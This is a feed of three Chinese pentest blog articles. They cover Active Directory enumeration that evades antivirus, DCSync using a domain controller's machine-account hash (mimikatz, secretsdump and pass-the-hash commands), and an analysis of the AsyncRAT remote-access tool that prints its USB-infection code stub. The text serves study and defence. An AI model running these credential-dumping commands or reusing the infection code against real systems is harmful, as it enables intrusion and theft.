Jekyll2021-05-24T00:41:39+00:00https://3gstudent.github.io/backup-3gstudent.github.io/feed.xml3gstudentGood in study, attitude and health渗透基础——活动目录信息的获取2:Bypass AV2021-01-11T00:00:00+00:002021-01-11T00:00:00+00:00https://3gstudent.github.io/backup-3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80%E2%80%94%E2%80%94%E6%B4%BB%E5%8A%A8%E7%9B%AE%E5%BD%95%E4%BF%A1%E6%81%AF%E7%9A%84%E8%8E%B7%E5%8F%962:Bypass%20AV<h2 id="0x00-前言">0x00 前言</h2>
<hr />
<p>在之前的文章<a href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E6%B4%BB%E5%8A%A8%E7%9B%AE%E5%BD%95%E4%BF%A1%E6%81%AF%E7%9A%84%E8%8E%B7%E5%8F%96/">《渗透基础——活动目录信息的获取》</a>以获取活动目录中所有用户、所有计算机和所有组为例,介绍常用的信息获取方法。</p>
<p>但是在实际使用过程中,一些工具会被杀毒软件拦截。</p>
<p>所以本文将要对获取方法进行补充,同时绕过杀毒软件的拦截。</p>
<h2 id="0x01-简介">0x01 简介</h2>
<hr />
<p>本文将要介绍以下内容:</p>
<ul>
<li>使用csvde获取活动目录信息</li>
<li>使用ldifde获取活动目录信息</li>
<li>使用AdFind获取活动目录信息</li>
<li>使用C#开发的轻量级获取工具</li>
</ul>
<h2 id="0x02-使用csvde获取活动目录信息">0x02 使用csvde获取活动目录信息</h2>
<hr />
<p>说明文档:</p>
<p>https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732101(v=ws.11)</p>
<p>使用csvde导出的文件格式为csv,可以使用Microsoft Excel查看</p>
<p>默认只能在以下系统使用,例如:</p>
<ul>
<li>Windows Server 2003</li>
<li>Windows Server 2008</li>
<li>Windows Server 2003 R2</li>
<li>Windows Server 2008 R2</li>
<li>Windows Server 2012,</li>
<li>Windows Server 2003 with SP1</li>
<li>Windows 8</li>
<li>…</li>
</ul>
<h3 id="1导出当前域内活动目录信息示例">1.导出当前域内活动目录信息示例</h3>
<p>导出当前域内所有信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>csvde -f all.csv
</code></pre></div></div>
<p>导出当前域内所有用户信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>csvde -f user.csv -r "(&(objectCategory=person))"
</code></pre></div></div>
<p>导出当前域内所有机器信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>csvde -f machine.csv -r "(&(objectCategory=computer))"
</code></pre></div></div>
<p>导出当前域内所有组信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>csvde -f group.csv -r "(&(objectCategory=group))"
</code></pre></div></div>
<p>导出当前域内所有管理员组的用户信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>csvde -f admin.csv -r "(&(objectCategory=group)(name=Domain Admins))"
</code></pre></div></div>
<p>导出当前域内所有OU信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>csvde -f ou.csv -r "(&(objectCategory=organizationalUnit))"
</code></pre></div></div>
<p>导出当前域内所有的域用户名:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>csvde -f username.csv -r "(&(objectCategory=person))" -l SamAccountName
</code></pre></div></div>
<p>导出当前域内所有的计算机名:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>csvde -f machinename.csv -r "(&(objectCategory=computer))" -l name
</code></pre></div></div>
<h3 id="2从域外远程导出活动目录信息示例">2.从域外远程导出活动目录信息示例</h3>
<p>导出远程域内所有信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>csvde -s 192.168.1.1 -a test\admin Password -f all.csv
</code></pre></div></div>
<h2 id="0x03-使用ldifde获取活动目录信息">0x03 使用ldifde获取活动目录信息</h2>
<hr />
<p>说明文档:</p>
<p>https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)</p>
<p>使用ldifde导出的文件格式为LDIF,可以使用notepad.exe查看</p>
<h3 id="1导出当前域内活动目录信息示例-1">1.导出当前域内活动目录信息示例</h3>
<p>导出当前域内所有信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ldifde -f all.txt
</code></pre></div></div>
<p>导出当前域内所有用户信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ldifde -r "(&(objectCategory=person))" -f user.txt
</code></pre></div></div>
<p>导出当前域内所有机器信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ldifde -r "(&(objectCategory=computer))" -f machine.txt
</code></pre></div></div>
<p>导出当前域内所有组信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ldifde -r "(&(objectCategory=group))" -f group.txt
</code></pre></div></div>
<p>导出当前域内所有管理员组的用户信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ldifde -r "(&(objectCategory=group)(name=Domain Admins))" -f admin.txt
</code></pre></div></div>
<p>导出当前域内所有OU信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ldifde -r "(&(objectCategory=organizationalUnit))" -f ou.txt
</code></pre></div></div>
<p>导出当前域内所有的域用户名:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ldifde -r "(&(objectCategory=person))" -l SamAccountName -f username.txt
</code></pre></div></div>
<p>导出当前域内所有的计算机名:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ldifde -r "(&(objectCategory=computer))" -l name -f machinename.txt
</code></pre></div></div>
<h3 id="2从域外远程导出活动目录信息示例-1">2.从域外远程导出活动目录信息示例</h3>
<p>导出远程域内所有信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ldifde -s 192.168.1.1 -a test\admin Password -f all.txt
</code></pre></div></div>
<h2 id="0x04-使用adfind获取活动目录信息">0x04 使用AdFind获取活动目录信息</h2>
<hr />
<p>下载地址:</p>
<p>https://www.joeware.net/freetools/tools/adfind/</p>
<h3 id="1导出当前域内活动目录信息示例-2">1.导出当前域内活动目录信息示例</h3>
<p>导出当前域内所有信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adfind.exe -h 127.0.0.1>all.txt
</code></pre></div></div>
<p>导出当前域内所有用户信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adfind.exe -h 127.0.0.1 -f objectcategory=person>user.txt
</code></pre></div></div>
<p>导出当前域内所有机器信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adfind.exe -h 127.0.0.1 -f objectcategory=computer>machine.txt
</code></pre></div></div>
<p>导出当前域内所有组信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adfind.exe -h 127.0.0.1 -f objectcategory=group>group.txt
</code></pre></div></div>
<p>导出当前域内所有管理员组的用户信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adfind.exe -h 127.0.0.1 -f "(&(objectCategory=group)(name=Domain Admins))">admin.txt
</code></pre></div></div>
<p>导出当前域内所有OU信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adfind.exe -h 127.0.0.1 -f objectcategory=organizationalUnit>ou.txt
</code></pre></div></div>
<p>导出当前域内所有的域用户名:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adfind.exe -h 127.0.0.1 -f objectcategory=person SamAccountName>username.txt
</code></pre></div></div>
<p>导出当前域内所有的计算机名:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adfind.exe -h 127.0.0.1 -f objectcategory=computer name>machinename.txt
</code></pre></div></div>
<h3 id="2从域外远程导出活动目录信息示例-2">2.从域外远程导出活动目录信息示例</h3>
<p>导出远程域内所有信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adfind.exe -h 192.168.1.1 -u test\admin -up Password>all.txt
</code></pre></div></div>
<h2 id="0x05-使用c开发的轻量级获取工具">0x05 使用C#开发的轻量级获取工具</h2>
<hr />
<p><a href="https://github.com/tevora-threat/SharpView">SharpView</a>通过.Net实现了<a href="https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1">PowerView</a>中关于获取活动目录信息的功能,功能很完整,但是会被杀毒软件拦截。</p>
<p>而我们通过调用命名空间<code class="language-plaintext highlighter-rouge">System.DirectoryServices</code>,能够很容易实现简单的功能,满足基本需求,并且通常情况下不会被杀毒软件拦截。</p>
<p>这里可以使用之前的代码<a href="https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/ListUserMailbyLDAP.cs">ListUserMailbyLDAP.cs</a>作为模板,修改查询语句即可。</p>
<p>我以AdFind的基础功能作为参照,实现了一个轻量级的工具,完整的代码已上传github,地址如下:</p>
<p>https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpADFindDemo.cs</p>
<p>SharpADFindDemo可以在.Net3.5或.Net4的Windows系统下直接编译</p>
<p>编译方法如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe SharpADFindDemo.cs /r:System.DirectoryServices.dll
or
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe SharpADFindDemo.cs /r:System.DirectoryServices.dll
</code></pre></div></div>
<p>支持导出以下AD信息:</p>
<ul>
<li>user,所有域用户信息</li>
<li>machine,所有域计算机信息</li>
<li>group,所有域组信息</li>
<li>ou,所有域OU信息</li>
<li>username,只导出域用户名</li>
<li>machinename,只导出域计算机名</li>
<li>groupname,只导出域组名</li>
<li>ouname,只导出域OU名</li>
</ul>
<p>这里需要注意的是默认导出的最大数目为1000个</p>
<h2 id="0x06-小结">0x06 小结</h2>
<hr />
<p>本文对活动目录信息的获取方法进行了补充,介绍了3个常用工具,使用C#开发了一个轻量级获取工具SharpADFindDemo,后续可以此为模板,结合<a href="https://github.com/tevora-threat/SharpView">SharpView</a>添加其他功能。</p>
<hr />
<p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p>0x00 前言域渗透——使用MachineAccount实现DCSync2020-09-19T00:00:00+00:002020-09-19T00:00:00+00:00https://3gstudent.github.io/backup-3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F%E2%80%94%E2%80%94%E4%BD%BF%E7%94%A8MachineAccount%E5%AE%9E%E7%8E%B0DCSync<h2 id="0x00-前言">0x00 前言</h2>
<hr />
<p>在之前的文章<a href="https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-DCSync/">《域渗透——DCSync》</a>提到过DCSync的利用条件:</p>
<p>获得以下任一用户的权限:</p>
<ul>
<li>Administrators组内的用户</li>
<li>Domain Admins组内的用户</li>
<li>Enterprise Admins组内的用户</li>
<li>域控制器的计算机帐户</li>
</ul>
<p>本文将要补全上篇文章中未提到的最后一种利用方法,介绍如何通过域控制器的计算机帐户口令hash实现DCSync</p>
<h2 id="0x01-简介">0x01 简介</h2>
<hr />
<p>本文将要介绍以下内容:</p>
<ul>
<li>MachineAccount简介</li>
<li>获得MachineAccount口令hash的方法</li>
<li>使用MachineAccount实现DCSync</li>
<li>防御检测</li>
</ul>
<h2 id="0x02-machineaccount简介">0x02 MachineAccount简介</h2>
<hr />
<p>MachineAccount是每台计算机在安装系统后默认生成的计算机帐户</p>
<p>计算机帐户的密码存储在注册表的位置:<code class="language-plaintext highlighter-rouge">HKLM\SECURITY\Policy\Secrets\$machine.ACC</code></p>
<p>如果计算机加入域中,会将计算机帐户的密码同步到域控制器并保存在域控制器的NTDS.dit文件中</p>
<p>计算机帐户的密码默认每30天自动更新,密码长度为120个字符,所以说,即使获得了计算机帐户密码的hash,也很难还原出计算机帐户的明文口令</p>
<h4 id="关闭当前计算机帐户密码自动更新的两种方法适用于工作组">关闭当前计算机帐户密码自动更新的两种方法(适用于工作组):</h4>
<p>1.修改组策略</p>
<p>组策略位置:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\
</code></pre></div></div>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-9-19/2-1.png" alt="Alt text" /></p>
<p>默认未启用,如果设置为启用后,将会停止更新密码</p>
<p>参考资料:</p>
<p>https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc785826(v=ws.10)</p>
<p>2.直接修改注册表</p>
<p>注册表位置:<code class="language-plaintext highlighter-rouge">HKLM\System\CurrentControlSet\Services\Netlogon\Parameters\</code></p>
<p>将<code class="language-plaintext highlighter-rouge">DisablePasswordChange</code>的值设为<code class="language-plaintext highlighter-rouge">1</code></p>
<h4 id="关闭域内计算机帐户密码自动更新的两种方法适用于域网络">关闭域内计算机帐户密码自动更新的两种方法(适用于域网络):</h4>
<p>1.修改组策略</p>
<p>这里需要修改域组策略,在域控制器上打开<code class="language-plaintext highlighter-rouge">Group Policy Management</code>后,选择<code class="language-plaintext highlighter-rouge">Default Domain Policy</code></p>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-9-19/2-2.png" alt="Alt text" /></p>
<p>组策略位置:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\
</code></pre></div></div>
<p>2.修改组策略的配置文件</p>
<p>Default Domain Policy对应的guid为<code class="language-plaintext highlighter-rouge">31B2F340-016D-11D2-945F-00C04FB984F9</code></p>
<p>配置文件路径为:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit
</code></pre></div></div>
<p>例如我的测试环境下,路径对应为:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>\\test.com\SYSVOL\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit
</code></pre></div></div>
<p>修改文件<code class="language-plaintext highlighter-rouge">GptTmpl.inf</code>,在<code class="language-plaintext highlighter-rouge">[Registry Values]</code>下添加新的内容:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange=4,1
</code></pre></div></div>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-9-19/2-3.png" alt="Alt text" /></p>
<p>强制域控制器更新组策略,命令如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gpupdate /force
</code></pre></div></div>
<p>配置完成,将系统时间调快30天,hash保持不变</p>
<h2 id="0x03-获得machineaccount口令hash的方法">0x03 获得MachineAccount口令hash的方法</h2>
<hr />
<h3 id="1通过注册表文件导出当前计算机帐户的口令hash">1.通过注册表文件导出当前计算机帐户的口令hash</h3>
<p>mimikatz命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>privilege::debug
token::elevate
lsadump::secrets
</code></pre></div></div>
<p>返回的结果中,<code class="language-plaintext highlighter-rouge">$machine.ACC</code>项对应计算机帐户,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-9-19/3-1.png" alt="Alt text" /></p>
<p>其他从注册表导出的方法可参考之前的文章<a href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87SAM%E6%95%B0%E6%8D%AE%E5%BA%93%E8%8E%B7%E5%BE%97%E6%9C%AC%E5%9C%B0%E7%94%A8%E6%88%B7hash/">《渗透技巧——通过SAM数据库获得本地用户hash》</a></p>
<h3 id="2使用dcsync导出所有计算机帐户的口令hash">2.使用DCSync导出所有计算机帐户的口令hash</h3>
<h4 id="1使用mimikatz">(1)使用mimikatz</h4>
<p>在域控制器上使用mimikatz导出域内所有用户的hash,命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mimikatz.exe "lsadump::dcsync /domain:test.com /all /csv" exit
</code></pre></div></div>
<p>其中以<code class="language-plaintext highlighter-rouge">$</code>字符结尾的为计算机帐户</p>
<p>其他环境下的使用方法可参考之前的文章<a href="https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-DCSync/">《域渗透——DCSync》</a></p>
<h4 id="2使用secretsdumppy">(2)使用<a href="https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/secretsdump.py">secretsdump.py</a></h4>
<p>需要安装Python环境和Impacket包,实际使用时可以将Python代码编译成exe文件</p>
<p>命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python secretsdump.py test/Administrator:DomainAdmin123!@192.168.1.1
</code></pre></div></div>
<p><a href="https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/secretsdump.py">secretsdump.py</a>相比于mimikatz,最大的优点是支持从域外的计算机连接至域控制器</p>
<p>secretsdump.py的实现原理:</p>
<p>使用计算机帐户口令hash通过smbexec或者wmiexec远程连接至域控制器并获得高权限,进而从注册表中导出本地帐户的hash,同时通过Dcsync或从NTDS.dit文件中导出所有域用户的hash</p>
<h3 id="3通过漏洞cve-2020-1472">3.通过漏洞CVE-2020-1472</h3>
<p>参考资料:</p>
<p>https://www.secura.com/pathtoimg.php?id=2055</p>
<p>CVE-2020-1472能够在未授权的状态下远程修改目标计算机帐户的口令hash</p>
<p><strong>注:</strong></p>
<p>CVE-2020-1472只能修改域控制器NTDS.dit文件中保存的计算机帐户hash,无法修改注册表中保存的本地计算机帐户hash</p>
<p>当域控制器中NTDS.dit文件和注册表文件的计算机帐户口令hash不同步时,有可能影响系统的正常功能</p>
<h2 id="0x04-使用machineaccount实现dcsync">0x04 使用MachineAccount实现DCSync</h2>
<hr />
<p>例如,我们获得了域控制器<code class="language-plaintext highlighter-rouge">DC1</code>的计算机帐户口令hash为<code class="language-plaintext highlighter-rouge">7da530fba3b15a2ea21ce7db8110d57b</code></p>
<h3 id="1使用mimikatz-1">1.使用mimikatz</h3>
<p>这里需要制作白银票据(Silver Ticket),接着获得LDAP服务的访问权限,细节可参考之前的文章《域渗透——Pass The Ticket》</p>
<p>命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mimikatz "kerberos::golden /domain:test.com /sid:S-1-5-21-254706111-4049838133-2416586677 /target:DC1.test.com /service:LDAP /rc4:7da530fba3b15a2ea21ce7db8110d57b /user:krbtgt /ptt" "lsadump::dcsync /domain:test.com /all /csv" exit
</code></pre></div></div>
<p>在细节上需要注意以下方面:</p>
<ul>
<li>只能在域内计算机上运行,不支持域外</li>
<li>/sid表示域的sid,获取方法可参考之前的文章<a href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E6%B4%BB%E5%8A%A8%E7%9B%AE%E5%BD%95%E4%BF%A1%E6%81%AF%E7%9A%84%E8%8E%B7%E5%8F%96/">《渗透基础——活动目录信息的获取》</a></li>
<li>/rc4表示计算机帐户的NTLM hash</li>
<li>/user:krbtgt表示伪造成用户krbtgt,生成票据</li>
</ul>
<p><strong>注:域sid的简单获取方法</strong></p>
<p>任一域用户的sid去除最后一位就是域的sid</p>
<h3 id="2使用secretsdump">2.使用secretsdump</h3>
<p>命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python secretsdump.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1
</code></pre></div></div>
<p>在细节上需要注意以下方面:</p>
<ul>
<li>secretsdump支持从域外的计算机连接至域控制器</li>
<li>如果使用域内普通计算机帐户的口令hash连接对应的计算机,那么会失败,提示<code class="language-plaintext highlighter-rouge">rpc_s_access_denied</code></li>
<li>可以通过<a href="https://github.com/SecureAuthCorp/impacket/tree/0b46f198042626a1ecd2846d22db355453e29c03/examples">wmiexec.py</a>或<a href="https://github.com/SecureAuthCorp/impacket/blob/0b46f198042626a1ecd2846d22db355453e29c03/examples/smbexec.py">smbexec.py</a>远程执行cmd命令</li>
</ul>
<p>命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python smbexec.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1 whoami /priv
python wmiexec.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1 whoami /priv
</code></pre></div></div>
<p><strong>注:</strong></p>
<p>使用计算机帐户具有高权限,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-9-19/4-1.png" alt="Alt text" /></p>
<h2 id="0x05-防御检测">0x05 防御检测</h2>
<hr />
<p>检测DCSync后门的方法可参考<a href="https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-DCSync/">《域渗透——DCSync》</a></p>
<p>站在防御的角度,如果域管理员的权限被攻击者获得,在尝试踢出攻击者的过程中,不仅需要修改域管理员用户的口令,同样需要更新计算器帐户的口令hash,检测域组策略是否被配置成开启<code class="language-plaintext highlighter-rouge">DisablePasswordChange</code></p>
<h2 id="0x06-小结">0x06 小结</h2>
<hr />
<p>本文介绍了通过域控制器的计算机帐户口令hash实现DCSync的方法,分析利用思路,给出防御建议。</p>
<hr />
<p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p>0x00 前言AsyncRAT利用分析2020-08-20T00:00:00+00:002020-08-20T00:00:00+00:00https://3gstudent.github.io/backup-3gstudent.github.io/AsyncRAT%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90<h2 id="0x00-前言">0x00 前言</h2>
<hr />
<p><a href="https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp">AsyncRAT</a>是一款使用C Sharp开发的C2工具,本文仅在技术研究的角度分析AsyncRAT的技术细节,介绍检测方法。</p>
<p><strong>注:</strong></p>
<p>本文选择的AsyncRAT更新日期为2020年5月9日</p>
<h2 id="0x01-简介">0x01 简介</h2>
<hr />
<ul>
<li>AsyncRAT的优点</li>
<li>AsyncRAT的技术细节</li>
<li>检测方法</li>
</ul>
<h2 id="0x02-asyncrat的优点">0x02 AsyncRAT的优点</h2>
<hr />
<p><a href="https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp">AsyncRAT</a>使用C Sharp开发,应用于Windows系统,具有以下优点:</p>
<ol>
<li>支持从Pastebin.com读取C2服务器的配置信息</li>
<li>支持内存加载PE文件</li>
<li>支持动态编译并执行C#或者VB代码</li>
<li>支持U盘感染,能够感染U盘中所有使用.NET开发的exe文件</li>
<li>支持自动读取Firefox和Chrome浏览器中保存的密码</li>
<li>通过欺骗用户点击的方式绕过UAC进行提权</li>
<li>通过C#接口技术,提高程序的扩展性,在程序实现上将每一个功能对应一个类,编译成dll文件,在需要加载的时候,由Server发送至Client,Client通过Activator.CreateInstance将类实例化,进而调用类的方法。</li>
</ol>
<h2 id="0x03-asyncrat的技术细节">0x03 AsyncRAT的技术细节</h2>
<hr />
<p>本节按照AsyncRAT控制面板上的功能逐个进行分析,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-8-20/2-1.png" alt="Alt text" /></p>
<h3 id="1sendfile">1.SendFile</h3>
<p>(1)ToMemory</p>
<p>内存加载exe文件,支持以下两种类型:</p>
<ol>
<li>Reflection</li>
</ol>
<p>使用Assembly.Load加载C#程序</p>
<p>更多细节可参考之前的文章<a href="https://3gstudent.github.io/3gstudent.github.io/%E4%BB%8E%E5%86%85%E5%AD%98%E5%8A%A0%E8%BD%BD.NET%E7%A8%8B%E5%BA%8F%E9%9B%86(Assembly.Load)%E7%9A%84%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/">《从内存加载.NET程序集(Assembly.Load)的利用分析》</a></p>
<ol>
<li>RunPE</li>
</ol>
<p>通过替换进程内存的方式加载exe文件</p>
<p>可选择以下程序作为被注入的程序:</p>
<ul>
<li>aspnet_compiler.exe</li>
<li>RegAsm.exe</li>
<li>MSBuild.exe</li>
<li>RegSvcs.exe</li>
<li>vbc.exe</li>
</ul>
<p><strong>注:</strong></p>
<p>以上5个exe文件位于Microsoft.NET Framework的安装目录,同AsyncClient.exe的位数保持一致</p>
<p>使用32位的AsyncClient.exe反弹回的Session,默认会寻找32位Microsoft.NET Framework的安装目录,例如:C:\Windows\Microsoft.NET\Framework\v4.0.30319</p>
<p>使用64位的AsyncClient.exe反弹回的Session,默认会寻找64位Microsoft.NET Framework的安装目录,例如:C:\Windows\Microsoft.NET\Framework64\v4.0.30319</p>
<p>RunPE操作将启动以上5个exe文件中的一个,通过ReadProcessMemory、VirtualAllocEx、WriteProcessMemory和ResumeThread实现对进程内存的修改,替换成要加载的exe文件</p>
<p>这里需要注意要加载的exe文件需要同AsyncClient.exe的位数保持一致</p>
<p>使用32位的AsyncClient.exe反弹回的Session,使用RunPE操作只能加载32位的exe文件</p>
<p>使用64位的AsyncClient.exe反弹回的Session,使用RunPE操作只能加载64位的exe文件</p>
<p>更多细节可参考之前的文章<a href="https://3gstudent.github.io/3gstudent.github.io/%E5%82%80%E5%84%A1%E8%BF%9B%E7%A8%8B%E7%9A%84%E5%AE%9E%E7%8E%B0%E4%B8%8E%E6%A3%80%E6%B5%8B/">《傀儡进程的实现与检测》</a></p>
<p>(2)ToDisk</p>
<p>将exe文件上传到目标主机的<code class="language-plaintext highlighter-rouge">%Temp%</code>目录,重命名为随机字符串,再使用Powershell启动exe文件,执行后不会删除<code class="language-plaintext highlighter-rouge">%Temp%</code>目录下的exe文件</p>
<h3 id="2-monitoring">2. Monitoring</h3>
<p>(1)Remote Desktop</p>
<p>监控屏幕,实时获得目标桌面的内容(只能监控,无法操作)</p>
<p>调用Graphics类的CopyFromScreen实现屏幕截图</p>
<p>通过Python实现监控屏幕的细节可参考之前的文章<a href="https://3gstudent.github.io/3gstudent.github.io/Pupy%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90-Windows%E5%B9%B3%E5%8F%B0%E4%B8%8B%E7%9A%84%E5%B1%8F%E5%B9%95%E6%8E%A7%E5%88%B6/">《Pupy利用分析——Windows平台下的屏幕控制》</a></p>
<p>(2)Keylogger</p>
<p>实时获得目标主机键盘输入的消息和进程名称</p>
<p>通过hook的方式实现键盘记录</p>
<p>(3)Password Recovery</p>
<p>获得Firefox和Chrome浏览器中保存的密码</p>
<p>技术细节可参考之前的文章<a href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%AF%BC%E5%87%BAFirefox%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/">《渗透技巧——导出Firefox浏览器中保存的密码》</a>和<a href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%AF%BC%E5%87%BAChrome%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/">《渗透技巧——导出Chrome浏览器中保存的密码》</a></p>
<p>(4)File Manager</p>
<p>文件管理,还支持隐蔽安装7zip和对文件的压缩及解压缩</p>
<p>隐蔽安装7zip的方式:</p>
<p>在<code class="language-plaintext highlighter-rouge">%Temp%</code>目录新建文件夹7-Zip,释放文件7z.exe和7z.dll</p>
<p>(5)Process Manager</p>
<p>进程管理,支持查看进程和关闭进程</p>
<p>(6)Report Window</p>
<p>监控重要进程,当目标主机上运行指定进程时,控制端弹出提示消息</p>
<p>(7)Webcam</p>
<p>开启摄像头</p>
<h3 id="3miscellaneous">3.Miscellaneous</h3>
<p>(1)Bots Killer</p>
<p>清除自身进程在注册表HKLM和HKCU下<code class="language-plaintext highlighter-rouge">\Software\Microsoft\Windows\CurrentVersion\Run</code>和<code class="language-plaintext highlighter-rouge">Software\Microsoft\Windows\CurrentVersion\RunOnce</code>保存的项</p>
<p>(2)USB Spread</p>
<p>当目标主机连接U盘时,感染U盘中的文件</p>
<p>将木马客户端复制到U盘中并隐藏,默认保存的名称为LimeUSB.exe</p>
<p>修改U盘中所有使用.NET开发的exe文件,通过CSharpCodeProvider改变程序运行流程,添加以下代码:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>using System;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: AssemblyTrademark("%Lime%")]
[assembly: Guid("%Guid%")]
static class %LimeUSBModule%
{
public static void Main()
{
try
{
System.Diagnostics.Process.Start(@"%File%");
}
catch { }
try
{
System.Diagnostics.Process.Start(@"%Payload%");
}
catch { }
}
}
</code></pre></div></div>
<p>用户在启动正常文件的同时会隐蔽执行U盘中的木马客户端</p>
